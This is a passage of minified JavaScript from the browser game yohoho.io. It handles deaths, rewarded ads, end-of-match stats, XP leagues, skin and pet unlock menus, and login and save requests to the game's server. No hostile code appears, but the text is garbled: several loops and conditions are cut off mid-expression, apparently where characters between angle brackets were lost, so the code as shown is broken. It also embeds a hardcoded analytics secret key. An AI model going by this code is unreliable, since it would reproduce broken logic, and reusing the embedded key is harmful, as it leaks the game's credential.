A;if(t=!0,(A=Ne[n]).dead=!0,te.remove(A,A.position),n==We)ge=!0,A.visible=!1,A.weapon.visible=!1,A.usernameText.visible=!1,A.bar&&(A.bar.visible=!1),A.barFrame&&(A.barFrame.visible=!1),A.killerId?yi(A.killerId):yi(0),$n(A);else{if(Fe==n&&(Fe=A.killerId,fn()),X)A.x=-1e4,A.y=-1e4;else{Math.random()<.25&&(ve[n]=Gt()),A.usernameText.text=ve[n];do{var L=At(8*ne)}while(Math.abs(L.x-Ne[We].x)<=de+ne&&Math.abs(L.y-Ne[We].y)<=le+ne);A.x=L.x,A.y=L.y}A.score=0,A.foodEaten=0,!ge&&Ne[We].hasCrown&&Math.random()<.1&&(A.level=2)}}t&&jt(),ge||1!=Ut||ei()}var Kn=!1;function _n(){return 19==De&&(!window.cordova&&!$e&&(document.getElementById("end-rewarded-button")&&("undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display&&void 0!==aiptag.adplayer||se)))}function Yn(){return 20==De&&(!window.cordova&&!$e&&(!(window.innerWidth<1030)&&(document.getElementById("homepage-rewarded-button")&&("undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display&&void 0!==aiptag.adplayer||se))))}var qn=!1;function Vn(){qn=!0,console.log("Rewarded ad loaded"),19==De?document.getElementById("end-rewarded-button").style.display="inline-block":20==De&&(document.getElementById("homepage-rewarded-button").style.display="inline-block",document.getElementById("play-button").classList.add("withreward"))}function Un(e){console.log("Reward complete",e),qn=!1,Jn=!1,document.getElementById("end-rewarded-button").style.display="none",document.getElementById("homepage-rewarded-button").style.display="none",document.getElementById("play-button").classList.remove("withreward"),20==De&&Kt&&"closed"===e&&at()}function jn(){if(Jn)if(console.log("Reward granted"),qn=!1,Jn=!1,20==De)document.getElementById("homepage-rewarded-button").style.display="none",document.getElementById("play-button").classList.remove("withreward"),Kt=!0;else{document.getElementById("end-rewarded-button").style.display="none",document.getElementById("end-coins").textContent+=" + "+mi,si(Ni,mi),Ni+=mi;try{Oa.setItem("coinsOwned",Ni)}catch(e){}}}var Jn=!1;function Qn(){"undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display&&void 0!==aiptag.adplayer?aiptag.cmd.player.push(function(){aiptag.adplayer.startRewardedAd({preload:!0,showLoading:!1})}):se&&Vn()}function Zn(){if(qn){if("undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display&&void 0!==aiptag.adplayer)aiptag.cmd.player.push(function(){aiptag.adplayer.startRewardedAd({preload:!1,showLoading:!0})});else if(se){var e=document.createElement("div");e.style.zIndex=9999999,e.style.position="fixed",e.style.width="100%",e.style.top="50%",e.style.transform="translateY(-50%)",e.style.backgroundColor="rgba(0,0,0,0.8)",e.style.color="white",e.style.fontSize="10vh",e.style.textAlign="center",e.style.paddingTop="45vh",e.style.paddingBottom="45vh",e.innerHTML="Rewarded Video",document.body.appendChild(e),setTimeout(function(){document.body.removeChild(e),jn()},2e3)}Jn=!0}else Wa("No video available")}function $n(e,t){t&&Ae++,Me=e.kills,Se=e.foodEaten,Be=Math.floor(((new Date).getTime()-e.gameStart)/1e3),Me>ke&&(ke=Me),Se>Ee&&(Ee=Se),Be>Te&&(Te=Be),Pe+=Me,Ce+=Se,Xe+=Be,wi();try{Oa.setItem("lastKills",Me),Oa.setItem("lastScore",Se),Oa.setItem("lastGameTime",Be),Oa.setItem("bestKills",ke),Oa.setItem("bestScore",Ee),Oa.setItem("bestGameTime",Te),Oa.setItem("totalKills",Pe),Oa.setItem("totalScore",Ce),Oa.setItem("totalGameTime",Xe),Oa.setItem("totalWins",Ae)}catch(e){}try{if(("undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display||he)&&window.innerHeight>549&&!Kn){var n=document.getElementById("yohoho-io_970x250");n&&(n.style.width="970px",n.style.height=window.innerHeight<650?"100px":"250px",n.style.margin="auto")}setTimeout(function(){"undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display?(window.innerHeight>549&&(Kn?aiptag.cmd.display.push(function(){aipDisplayTag.refresh("yohoho-io_970x250")}):aiptag.cmd.display.push(function(){aipDisplayTag.display("yohoho-io_970x250")}),Kn=!0),(window.innerWidth>900&&window.innerHeight>300||"ipad-promo"==document.getElementById("homepage").className)&&aiptag.cmd.display.push(function(){aipDisplayTag.refresh("yohoho-io_300x250")})):he&&(Kn||document.getElementById("yohoho-io_970x250").appendChild(ti(970,250)),Kn=!0),document.getElementById("banner-on-end-popup").style.visibility="visible"},2e3),mi>0&&_n()&&(document.getElementById("end-rewarded-button").style.display="none",Qn())}catch(e){console.error(e)}}function ei(){ge=!0,setTimeout(function(){for(var e=Ne[We],t=0;t=10?1e3:500),De>=10&&(Pa(),setTimeout(function(){Ea()},5e3))}function ti(e,t){var n=document.createElement("div");return n.style.width=e+"px",n.style.height=t+"px",n.style.textAlign="center",n.style.display="flex",n.style.flexDirection="column",n.style.justifyContent="center",n.style.backgroundColor="white",n.style.fontSize="16px",n.style.margin="auto",n.innerHTML=e+"x"+t,n}var ni=["","Tortuga","Beach","Easter","Wreck","Aztec","Volcano","Village","Paradise","Shore","Rapa Nui","Port Royal","Tenoch","Nevis Peak","Hideout",""],ii=[0,200,1600,4200,8300,1e6],ai=[0,140,700,2100,4400,7600,13500,1e6],oi=[0,140,800,2e3,3700,5200,7500,9600,12400,14700,17700,20800,24700,29700,1e6],ri=[0,140,700,2100,4400,7600,13500,21e3,1e6];function di(e){for(var t=0;t1?n+" mins "+i+"s":1==n?n+" min "+i+"s":i+"s"),document.getElementById("end-rank").innerHTML="#"+Ut,document.getElementById("end-kills").innerHTML=Ne[We].kills,document.getElementById("end-coins").innerHTML=Ne[We].foodEaten,document.getElementById("end-booty-coins").innerHTML=Ni,document.getElementById("end-quote").innerHTML="""+li[Math.floor(Math.random()*li.length)]+""";var a=Math.floor(Ne[We].foodEaten);mi=a;var o=100*(1-(Ut-1)/Nt);3==De&&(o=200*(1-(Ut-1)/Nt)),De>=11&&(o=140*(1-(Ut-1)/Nt)),function(e,t,n,i){for(var a=di(e),o=di(t),r=!1,d=1;d=ii.length?"Elite":ni[r+1],document.getElementById("end-xp-line").style.opacity=0,setTimeout(function(){document.getElementById("continue-button")&&(document.getElementById("continue-button").style.visibility="hidden",setTimeout(function(){document.getElementById("continue-button").style.visibility="visible","undefined"!=typeof admob&&mt(!1)},3500)),document.getElementById("end-popup").style.display="block",Fe=Ne[Ne[We].killerId]&&!Ne[Ne[We].killerId].dead?Ne[We].killerId:We,"undefined"!=typeof gtag&&(gtag("set",{page_path:"/end-popup"}),gtag("event","page_view",{playerXP:Wi+o,abBotSkillLevel:De,page_location:"/end-popup"})),setTimeout(function(){si(Ni,a),Ni+=a},500);var e=(Wi-ii[r-1])/(ii[r]-ii[r-1])*100;document.getElementById("end-xp-bar-value").style.width=e+"%",anime({targets:"#end-xp-line",opacity:[0,1],delay:2e3,duration:200,easing:"linear"}),setTimeout(function(){var t=r==d?(Wi+o-ii[r-1])/(ii[r]-ii[r-1])*100:100;anime({targets:"#end-xp-bar-value",width:[e+"%",t+"%"],easing:"linear",duration:1e3,complete:function(){if(Wi+=o,r!=d){document.getElementById("end-current-league").innerHTML=ni[d],document.getElementById("end-next-league").innerHTML=d+1>=ii.length?"Elite":ni[d+1];var e=(Wi-ii[d-1])/(ii[d]-ii[d-1])*100;anime({targets:"#end-xp-bar-value",width:["0%",e+"%"],easing:"linear",duration:500}),"undefined"!=typeof gtag&>ag("event","ReachLeague"+d,{event_category:"Game",event_label:"ReachLeague",abBotSkillLevel:De,value:d,coinsOwned:Ni})}Ra()}})},2500)},1e3);try{Oa.setItem("coinsOwned",Ni+a),Oa.setItem("playerXP",Wi+o)}catch(e){}if("undefined"!=typeof PokiSDK&&(PokiSDK.gameplayStop(),$e?PokiSDK.displayAd(document.getElementById("banner-on-end-popup"),"320x50"):window.innerWidth>=728&&PokiSDK.displayAd(document.getElementById("banner-on-end-popup"),"728x90"),$e?PokiSDK.displayAd(document.getElementById("banner-on-homepage"),"320x50"):window.innerWidth>=728&&PokiSDK.displayAd(document.getElementById("banner-on-homepage"),"728x90")),window.cordova)try{GameAnalytics.addProgressionEvent({progressionStatus:1==Ut?GameAnalytics.EGAProgressionStatus.Complete:GameAnalytics.EGAProgressionStatus.Fail,progression01:di(Wi),progression02:ni[di(Wi)],progression03:"",score:Ut})}catch(e){}}function yi(e){ui(e?'Ye have been killed by '+ve[e]+"":"Ye died in the "+(12==De?"high tide":"toxic storm"))}function fi(e){var t=Math.floor(e/60),n=Math.floor(e%60),i=Math.floor(t/60),a=(t=Math.floor(t%60),"");return i>0&&(a+=i+"h "),t>0&&(a+=t+"m "),a+=n+"s"}function wi(){document.getElementById("last-kills").innerHTML=Me,document.getElementById("best-kills").innerHTML=ke,document.getElementById("total-kills").innerHTML=Pe,document.getElementById("last-score").innerHTML=Se,document.getElementById("best-score").innerHTML=Ee,document.getElementById("total-score").innerHTML=Ce,document.getElementById("last-game-time").innerHTML=fi(Be),document.getElementById("best-game-time").innerHTML=fi(Te),document.getElementById("total-game-time").innerHTML=fi(Xe),document.getElementById("total-wins").innerHTML=Ae}function vi(e,t){hi?(i=hi).clear():((i=new PIXI.Graphics).alpha=.6,hi=i,H.addChild(hi));i.beginFill(12==De?4021759:16711680,1);var n=Math.max(0,t-Math.max(ie,ae)/2);if(i.moveTo(-n-2*oe,-n-2*re).lineTo(n+ie+2*oe,-n-2*re).lineTo(n+ie+2*oe,n+ae+2*re).lineTo(-n-2*oe,n+ae+2*re),i.moveTo(e.x-t,e.y).arcTo(e.x-t,e.y-t,e.x,e.y-t,t).arcTo(e.x+t,e.y-t,e.x+t,e.y,t).arcTo(e.x+t,e.y+t,e.x,e.y+t,t).arcTo(e.x-t,e.y+t,e.x-t,e.y,t).addHole(),pi){var i;(i=pi).clear(),i.beginFill(12==De?4021759:16711680,1);n=Math.max(0,t-Math.max(ie,ae)/2);i.moveTo(-n-2*oe,-n-2*re).lineTo(n+ie+2*oe,-n-2*re).lineTo(n+ie+2*oe,n+ae+2*re).lineTo(-n-2*oe,n+ae+2*re),i.moveTo(e.x-t,e.y).arcTo(e.x-t,e.y-t,e.x,e.y-t,t).arcTo(e.x+t,e.y-t,e.x+t,e.y,t).arcTo(e.x+t,e.y+t,e.x,e.y+t,t).arcTo(e.x-t,e.y+t,e.x-t,e.y,t).addHole()}}function Ii(e,t){if(ci){(n=ci).clear()}else{var n=new PIXI.Graphics;ci=n,H.addChildAt(ci,H.children.indexOf(G))}(n.lineStyle(ne/10,0,.5,.5),n.drawCircle(e.x,e.y,t),gi)&&((n=gi).clear(),n.lineStyle(ne/1,0,.5,.5),n.drawCircle(e.x,e.y,t))}var bi,xi=new PIXI.Point,Mi=new PIXI.Point,ki=new PIXI.Point,Pi=0,Ei=0,Si=1,Ci=0,Bi=0,Ti=[{delay:0,radiusAtEnd:.75,duration:0},{delay:15,radiusAtEnd:.5,duration:10},{delay:15,radiusAtEnd:.375,duration:10},{delay:15,radiusAtEnd:.25,duration:10},{delay:15,radiusAtEnd:.125,duration:10},{delay:15,radiusAtEnd:.0625,duration:10},{delay:15,radiusAtEnd:.03125,duration:10},{delay:15,radiusAtEnd:.015625,duration:10}];function Xi(e){var t,n;(new Date).getTime();if(pe&&(xe++,zn()),(Ci-=e/1e3)>0)on.text="0:"+(Ci>9?Math.ceil(Ci):"0"+Math.ceil(Ci)),1==Si&&(xi.add(ki),vi(xi,Pi-=bi));else if(Ci<-1e3)on.text="0:00",ci.visible=!1,gi.visible=!1;else{if(1==Si)if(Bi9?Math.ceil(Ci):"0"+Math.ceil(Ci)),xe>0&&!Wt&&(t=(12==De?"High tide":"Poison gas")+(1==Si?" is advancing":" advances in "+Math.ceil(Ci)+" seconds"),n||(n=3e3),(t=new PIXI.Text(t,{fontFamily:"Nunito",fontWeight:"bold",fontSize:Math.round(Math.min(window.innerHeight,window.innerWidth)/30),fill:4473924,align:"center"})).anchor.set(.5,0),t.position.set(window.innerWidth/2,-t.height),q.addChild(t),anime({targets:t,easing:"linear",alpha:[0,1],y:.01*window.innerHeight,duration:200,complete:function(){setTimeout(function(){anime({targets:t,easing:"linear",alpha:[1,0],y:-t.height,duration:200,complete:function(){q.removeChild(t)}})},n)}}))}}function Ai(){var e=null;Fe>0&&(e=Ne[Fe]),e||Wt||ge||(e=Ne[We]),!e&&Wt&&(e={x:ie/2,y:ae/2}),e||(e=Ne[We]);var t=e.x,n=e.y;if(e){var i=t-de/2,a=n-le/2;if(H.position.set(-i*H.scale.x,-a*H.scale.y),D.position.set(Math.floor(i/Oe)*Oe,Math.floor(a/Oe)*Oe),D.x<0&&(D.x=0),D.y<0&&(D.y=0),D.x+D.width>ie&&(D.x=ie-D.width),D.y+D.height>ae&&(D.y=ae-D.height),tn){var o=Ge/(ie+2*Ge);tn.position.set(en.x-en.width+en.width*o+en.width*(1-2*o)*t/ie,en.y+en.height*o+en.height*(1-2*o)*n/ae)}}for(var r=0;rc*c?1:0}L.render(H),L.render(q,void 0,!1),ya&&L.render(ya,void 0,!1)}var Li,Hi=60,Ri=0;function Di(e,t){t&&(console.log("panic: simulation is too late, droping updates"),MainLoop.resetFrameDelta()),xe>Hi&&(Hi+=++Ri<10?600:3600,Math.round(e))}var Oi=[],Gi=[],Ni=0,Wi=0;function Fi(e){for(;e.firstChild;)e.removeChild(e.firstChild)}var zi=[0,100,115,135,150,165,185,205,225,240,260,275,300,315,335,355,375,390,410,430,450],Ki=[0,102,114,126,138,150,165,180,195,210,225,240,255,270,285,300,315,330,345,360,375,390,405,420,435,450,465,480,495,510,525,540,555,570,585,600],_i=[0,34,39,45,50,56,62,68,75,81,87,93,100,106,112,118,125,131,137,143,150],Yi=[0,34,38,42,46,50,55,60,65,70,75,80,85,90,95,100,105,110,115,120,125,130,135,140,145,150,155,160,165,170,175,180,185,190,195,200],qi=[0,300,800,1500,2500,3e3,6e3,9e3,12e3,13e3,14e3,15e3,16e3,17e3,18e3,19e3,2e4,21e3,22e3,23e3,24e3],Vi=[0,100,150,200,250,300,1e3,1500,2e3,2500,3e3,4e3,5e3,6e3,7e3,8e3,9e3,11e3,13e3,15e3,17e3,2e4,22e3,24e3,26e3,28e3,31e3,34e3,37e3,4e4,43e3,48e3,53e3,58e3,63e3,68e3],Ui=[0,0,1e3,2e3,3e3,4e3,8e3,1e4,11e3,12e3,13e3,15e3,2e4,22e3,24e3,26e3,29e3,32e3,36e3,38e3,4e4,43e3,46e3,5e4,54e3,58e3,62e3,66e3,7e4,75e3,8e4,85e3,9e4,95e3,101e3,107e3],ji=[0,100,150,200,250,300,1e3,1500,2e3,2500,3e3,4e3,5e3,6e3,7e3,8e3,9e3,11e3,13e3,15e3,17e3,2e4,22e3,24e3,26e3,28e3,31e3,34e3,37e3,4e4,43e3,48e3,53e3,58e3,8e4,1e5],Ji=[0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5],Qi=[0,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,4,4,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7],Zi=[0,1,1,2,2,2,3,3,4,4,4,5,5,6,6,6,7,7,8,8,8,9,9,10,10,10,11,11,12,12,12,13,13,14,14,14],$i=[0,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,4,4,4,4,4,5,5,5,5,5,6,6,6,6,7,7,7,7,8,8],ea=[0,1e4,1e4,15e3,15e3,15e3,2e4,2e4,2e4,3e4],ta=[11,13,15,17,19,21,23,25,27,29,31,33,35,37,39],na=[11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41],ia=[2,2,2,3,3,4,4,4,5,5,6,6,6,7,7,7],aa=[2,2,2,3,3,4,4,4,5,5,6,6,6,7,7,8,8],oa=[1e3,2e3,3e3,5e3,7e3,9e3,13e3,17e3,22e3,26e3,31e3,37e3,43e3,53e3,63e3],ra=[8e3,11e3,13e3,2e4,24e3,29e3,36e3,4e4,46e3,54e3,62e3,7e4,8e4,9e4,101e3],da=[1e3,2e3,3e3,5e3,7e3,9e3,13e3,17e3,22e3,26e3,31e3,37e3,43e3,53e3,8e4,15e4],la={1:[8515059,1768075,1536767,16121670,456957,16760324],2:[16661552,27595,16757019,12845060,16706063,16741998],3:[16661552,11756336,16567452,9705982,10825281,16741998],4:[3487029,10921638,8421504,9267122,2171169,16741998],5:[16723817,4338099,9575423,13893817,7274452,11836670],6:[16684812,7970302,16704021,6514643,50388,7274452],7:[16714273,3750201,7500400,0,6424064,11974326],8:[16730394,14811150,16726043,9127680,16711904,15311015],9:[16726043,15047169,16730394,16702012,16765953,14811150]};function sa(e){var t;if(16==De||18==De)t=[[1],[1,2,3,4,5],[4,5,6,7,8,9],[9,10,11,12,13,14],[14,15,16,17,18,19],[19,20,21,22,23,24],[24,25,26,27,28,29],[29,30,31,32,33],[31,32,33,34,35]][e];else if(15==De)t=[[1],[1,2,3,4,5],[2,3,4,5,6],[5,6,7,8],[7,8,9,10,11],[10,11,12,13],[12,13,14,15,16],[15,16,17,18],[17,18,19,20,21],[20,21,22,23],[22,23,24,25,26],[25,26,27,28],[27,28,29,30,31],[30,31,32,33],[30,31,32,33,34,35]][e];else if(De>=11)switch(e){case 1:t=[1,2,3,4,5];break;case 2:t=[4,5,6,7,8,9];break;case 3:t=[9,10,11,12,13,14];break;case 4:t=[14,15,16,17,18,19];break;case 5:t=[19,20,21,22,23,24];break;case 6:t=[24,25,26,27,28,29];break;case 7:t=[29,30,31,32,33,34,35]}else switch(e){case 1:t=[1,2,3,4];break;case 2:t=[3,4,5,6,7,8];break;case 3:t=[7,8,9,10,11,12];break;case 4:t=[11,12,13,14,15,16];break;case 5:t=[15,16,17,18,19,20]}return t[Math.floor(Math.random()*t.length)]}var ha,ca,pa=et,ga=0;function ma(e){if(e||ha!=window.innerWidth||ca!=window.innerHeight){0,ha=window.innerWidth,ca=window.innerHeight,Fi(document.getElementById("skin-list")),Fi(document.getElementById("pet-list"));var t=Math.floor(Math.min(.14*window.innerHeight,.08*window.innerWidth)),n=8;if(window.innerWidth>window.innerHeight){var i=7,a=5;window.innerWidth<=680?i=5:$e&&(i=6),$e&&(n=.02*window.innerHeight)}else{i=5,a=3;window.innerWidth<=500&&(i=4),window.innerWidth<=400&&(i=3),$e&&(n=.02*window.innerWidth)}var o=window.innerWidth-.06*window.innerHeight-16;pa||(o-=.04*window.innerWidth);var r=1.27*(E=o/i/1.16),d=(t=.73*E,.15*E),l=.875*d,s=(n=.08*E,0);(C=document.createElement("div")).className="line",document.getElementById("skin-list").appendChild(C);var h=!1,c=!1,p=!1,g=1,m=Ji.length-1;if(pa){ga<0&&(ga=0),g=1+ga*i;var u=Math.floor(.6*window.innerHeight/(r+2*n));m=Math.min(m-g+1,i*u);var y=Math.ceil((Ji.length-1)/i-u);ga>y&&(ga=y),document.getElementById("skin-list").style.height="auto",document.getElementById("skin-list").style.overflowY="auto",document.getElementById("arrow-up").className=0==ga?"disabled":"",document.getElementById("arrow-down").className=ga==y?"disabled":""}for(var f=g;f=i)(C=document.createElement("div")).className="line",document.getElementById("skin-list").appendChild(C),s=0;(B=document.createElement("div")).style.width=E+"px",B.style.height=r+"px",B.style.margin=n+"px",B.style.padding="0",B.className="card"+(f==U?" selected":"")+(w?tt?" locked-nogreyscale":" locked":""),v&&B.addEventListener("click",function(e){return function(){Ia(e)}}(f)),Ie[-1]=f;(new Date).getTime();(T=Mt(-1,t)).style.position="";(new Date).getTime();B.appendChild(T);var I=document.createElement("div");I.className="power-barframe",I.style.width=d+"px",B.appendChild(I);var b=document.createElement("div");b.className="power-bar",I.appendChild(b);var x=document.createElement("div");if(x.className="power-bar-text",x.innerHTML="POWER",x.style.fontSize=l+"px",x.style.lineHeight=d+"px",I.appendChild(x),b.style.height=_i[f]/_i[_i.length-1]*100+"%",v){if(w){M=document.createElement("div"),k=qi[f];M.className="button unlock"+(Ni=k&&(!0,f>U&&(p=!0)),k>=1e3&&(k=k/1e3+"k"),M.innerHTML=""+k+' ',B.appendChild(M),(A=document.createElement("div")).className="lock",B.appendChild(A)}}else{var M=document.createElement("div"),k=qi[f];M.className="button unlock disabled smalltext",M.innerHTML=ni[Ji[f]]+" island",B.appendChild(M),(A=document.createElement("div")).className="lock",B.appendChild(A)}C.appendChild(B),s++}var P=ea.length-1;pa&&(o-=.04*window.innerWidth);var E;r=1.27*(E=o/a/1.16*(window.innerWidth>window.innerHeight?.75:1)),t=.73*E,n=.08*E,s=0;(C=document.createElement("div")).className="line",document.getElementById("pet-list").appendChild(C);for(var S=1;S<=P;S++){var C;w=-1===Gi.indexOf(S),v=!0;if(s>=a)(C=document.createElement("div")).className="line",document.getElementById("pet-list").appendChild(C),s=0;var B,T,X=V["pet-"+S];if((B=document.createElement("div")).style.width=Math.floor(t)+"px",B.style.height=Math.floor(t/X.width*X.height)+"px",B.style.width=E+"px",B.style.height=r+"px",B.style.margin=n+"px",B.style.padding="0",B.className="card"+(S==j?" selected":"")+(w?" locked":""),v&&B.addEventListener("click",function(e){return function(){ba(e)}}(S)),(T=bt(X,t)).style.position="",B.appendChild(T),v){if(w){M=document.createElement("div"),k=ea[S];M.className="button unlock"+(Ni=k&&0==j&&(h=!0),k>=1e3&&(k=k/1e3+"k"),M.innerHTML=k+' ',B.appendChild(M),(A=document.createElement("div")).className="lock",B.appendChild(A)}}else{var A,M=document.createElement("div"),k=ea[f];M.className="button unlock disabled smalltext",M.innerHTML=ni[Ji[f]]+" island",B.appendChild(M),(A=document.createElement("div")).className="lock",B.appendChild(A)}C.appendChild(B),s++}window.cordova?(document.getElementById("skin-popup-label")&&(document.getElementById("skin-popup-label").style.fontSize=window.innerWidth>window.innerHeight?"6vh":"6vw"),document.getElementById("skin-button-char")&&(document.getElementById("skin-button-char").style.fontSize=window.innerWidth>window.innerHeight?"6vh":"6vw"),document.getElementById("skin-button-pet")&&(document.getElementById("skin-button-pet").style.fontSize=window.innerWidth>window.innerHeight?"6vh":"6vw")):(document.getElementById("skin-popup-label")&&(document.getElementById("skin-popup-label").style.fontSize=window.innerWidth>window.innerHeight?"4vh":"4vw"),document.getElementById("skin-button-char")&&(document.getElementById("skin-button-char").style.fontSize=window.innerWidth>window.innerHeight?"4vh":"4vw"),document.getElementById("skin-button-pet")&&(document.getElementById("skin-button-pet").style.fontSize=window.innerWidth>window.innerHeight?"4vh":"4vw")),document.getElementById("skin-button-pet").style.display=De>=13&&di(Wi)>=ia[0]?"inline-block":"none",document.getElementById("pet-level").innerHTML=(0==j?0:ta[be])+" Health Points/s",be+1',Ni0?function(e){if(!e||0==e.length)return!1;try{var e=JSON.parse(e);ye=e.gamesStarted,Ni=e.coinsOwned,U=e.playerSkin,j=e.playerPet,Wi=e.playerXP,Oi=e.unlockedSkins,Gi=e.unlockedPets,be=e.playerPetLevel,Be=e.lastGameTime,Me=e.lastKills,Se=e.lastScore,Xe=e.totalGameTime,Pe=e.totalKills,Ae=e.totalWins||0,Ce=e.totalScore,Te=e.bestGameTime,ke=e.bestKills,Ee=e.bestScore,De=e.abBotSkillLevel,Na(),document.getElementById("homepage-league").innerHTML=ni[di(Wi)],document.getElementById("homepage-booty").innerHTML=Ni,wi(),void 0!==V&&(ua(!0),ma(!0))}catch(e){console.error(e)}}(t[2]):Ra()),"undefined"!=typeof Storage)try{Oa.setItem("sessionId",e)}catch(e){console.log(e)}}},i.onerror=function(e){console.error("loginOnServer error"),La()},i.open("POST",a+"/login?s="+(e||"")+(o?"&a=1":"")+(!o&&r?"&a=2":"")+"&app="+(document.getElementById("privacy-policy-checkbox").checked?1:0)+"&ecs="+(document.getElementById("emailing-consent-checkbox").checked?1:0)+"&ect="+encodeURIComponent(document.getElementById("emailing-consent-text").innerHTML),!0),o?i.send(t):r?i.send(n):i.send(null)}function Aa(){document.getElementById("login-popup").style.display="none",document.getElementById("unconnected-block").style.display="none",document.getElementById("connected-block").style.display="block",document.getElementById("profile-picture").src=i,Xa()}function La(){return o&&Ba(),r&&FB.logout(Ta),document.getElementById("connected-block").style.display="none",document.getElementById("unconnected-block").style.display="block",!1}function Ha(){try{tt&&$e&&768==window.screen.width&&1024==window.screen.height&&0==window.orientation&&ye>2&&!window.cordova?(document.getElementById("homepage").classList.add("ipad-promo"),$e&&document.body.classList.remove("mobile")):(document.getElementById("homepage").classList.remove("ipad-promo"),$e&&document.body.classList.add("mobile"))}catch(e){console.error(e)}}function Ra(){if(o||r){var t={gamesStarted:ye,coinsOwned:Ni,playerSkin:U,playerPet:j,playerXP:Wi,unlockedSkins:Oi,unlockedPets:Gi,playerPetLevel:be,lastGameTime:Be,lastKills:Me,lastScore:Se,totalGameTime:Xe,totalKills:Pe,totalScore:Ce,totalWins:Ae,bestGameTime:Te,bestKills:ke,bestScore:Ee,abBotSkillLevel:De},n=new XMLHttpRequest;n.onreadystatechange=function(){4==n.readyState&&n.status},n.onerror=function(e){console.error("save progress error")},n.open("POST",a+"/save?s="+(e||""),!0),n.send(JSON.stringify(t))}}var Da=!1;try{var Oa=localStorage}catch(e){Oa={_data:{},setItem:function(e,t){return this._data[e]=t},getItem:function(e){return this._data[e]},removeItem:function(e){return delete this._data[e]},clear:function(){return this._data={}}}}function Ga(e,t,n){NativeStorage.getItem(e,n,function(e){n(t)})}function Na(){9==De&&(k=!1),16==De?(ii=ri,_i=Yi,zi=Ki,qi=ji,Ji=$i,oa=da,ta=na,ia=aa):15==De?(ii=oi,_i=Yi,zi=Ki,qi=Ui,Ji=Zi,oa=ra):De>=11&&(ii=ai,_i=Yi,zi=Ki,qi=Vi,Ji=Qi)}function Wa(e,t){var n=document.createElement("div");n.className="alert-popup"+(t?" "+t:"");var i=document.createElement("div");i.className="popup-outer",n.appendChild(i);var a=document.createElement("div");a.className="wrapper",n.appendChild(a);var o=document.createElement("div");o.innerHTML=e,a.appendChild(o);var r=document.createElement("div");function d(){anime({targets:n,duration:100,easing:"easeInQuad",opacity:[1,0],complete:function(){document.body.removeChild(n)}})}r.className="close-button",r.textContent="OK",a.appendChild(r),document.body.appendChild(n),anime({targets:n,duration:100,easing:"easeInQuad",opacity:[0,1]}),i.addEventListener("click",d),r.addEventListener("click",d)}function Fa(e,t,n){var i=document.createElement("div");i.className="confirm-popup"+(t?" "+t:"");var a=document.createElement("div");a.className="popup-outer",i.appendChild(a);var o=document.createElement("div");o.className="wrapper",i.appendChild(o);var r=document.createElement("div");r.innerHTML=e,o.appendChild(r);var d=document.createElement("div");d.className="yes-button",d.textContent="YES";var l=document.createElement("div");function s(e){anime({targets:i,duration:100,easing:"easeInQuad",opacity:[1,0],complete:function(){document.body.removeChild(i),"function"==typeof n&&n(e)}})}l.className="no-button",l.textContent="NO",o.appendChild(d),o.appendChild(l),document.body.appendChild(i),anime({targets:i,duration:100,easing:"easeInQuad",opacity:[0,1]}),d.addEventListener("click",()=>s(!0)),l.addEventListener("click",()=>s(!1))}var za=!1;function Ka(){za||(_n()&&(document.getElementById("end-rewarded-button").addEventListener("click",function(){"none"!=document.getElementById("end-popup").style.display&&Fa("Watch a video and double your gain?",void 0,function(e){e&&Zn()})}),"undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display&&void 0!==aiptag.adplayer&&(aiptag.events.addEventListener("rewardedSlotReady",function(e){!0!==e.detail.isEmpty?Vn():(console.log("No rewarded ad available"),qn=!1)}),aiptag.adplayer.aipConfig.AIP_REWARDEDCOMPLETE=Un,aiptag.adplayer.aipConfig.AIP_REWARDEDGRANTED=jn),za=!0),Yn()&&(document.getElementById("homepage-rewarded-button").addEventListener("click",function(){"none"!=document.getElementById("homepage").style.display&&Fa("Watch a video and start with x2 health?",void 0,function(e){e&&Zn()})}),"undefined"!=typeof aiptag&&aiptag.cmd&&aiptag.cmd.display&&void 0!==aiptag.adplayer&&(aiptag.events.addEventListener("rewardedSlotReady",function(e){!0!==e.detail.isEmpty?Vn():(console.log("No rewarded ad available"),qn=!1)}),aiptag.adplayer.aipConfig.AIP_REWARDEDCOMPLETE=Un,aiptag.adplayer.aipConfig.AIP_REWARDEDGRANTED=jn),ye>0&&setTimeout(function(){Qn()}),za=!0))}function _a(){try{"undefined"!=typeof AndroidFullScreen&&AndroidFullScreen.immersiveMode(),window.cordova&&navigator.splashscreen&&navigator.splashscreen.show(),StatusBar.hide()}catch(e){}try{"?restart"==window.location.search&&(window.confirm("Would you like to restart your progress? (you will lose all progress, characters, pets, stats and coins)")&&(localStorage.clear(),Da=!0),history.replaceState("",document.title,window.location.pathname))}catch(e){console.error(e)}if(void 0!==document.body&&document.body||console.error("document.body is null","readyState=",document.readyState),$e&&document.body.classList.add("mobile"),wn(),$e&&(-1!==navigator.userAgent.toLowerCase().indexOf("android")?document.getElementById("app-link-ios").style.display="none":document.getElementById("app-link-android").style.display="none"),"undefined"!=typeof Raven&&Raven.config&&"?noraven"!=window.location.search&&Raven.config("https://fea4c3954e94455eb751f21cd24e5809@sentry.yohoho.io/11",{whitelistUrls:["yohoho.js"]}).install(),window.cordova)try{GameAnalytics.setEnabledInfoLog(!0),GameAnalytics.initialize({gameKey:"be25a6a3d4ea74c74ebbdf4bb5527a3e",secretKey:"426bddee9af80847ab726cccfbb08b92720eaa85"},function(){console.log("GameAnalytics init complete")})}catch(e){}try{"undefined"!=typeof aiptag&&null!=document.getElementById("banner-on-homepage").offsetParent?aiptag.cmd.display.push(function(){aipDisplayTag.display("yohoho-io_300x250")}):he&&null!=document.getElementById("banner-on-homepage").offsetParent&&document.getElementById("yohoho-io_300x250").appendChild(ti(300,250))}catch(e){console.error(e)}!function(t){if(window.cordova&&"undefined"!=typeof 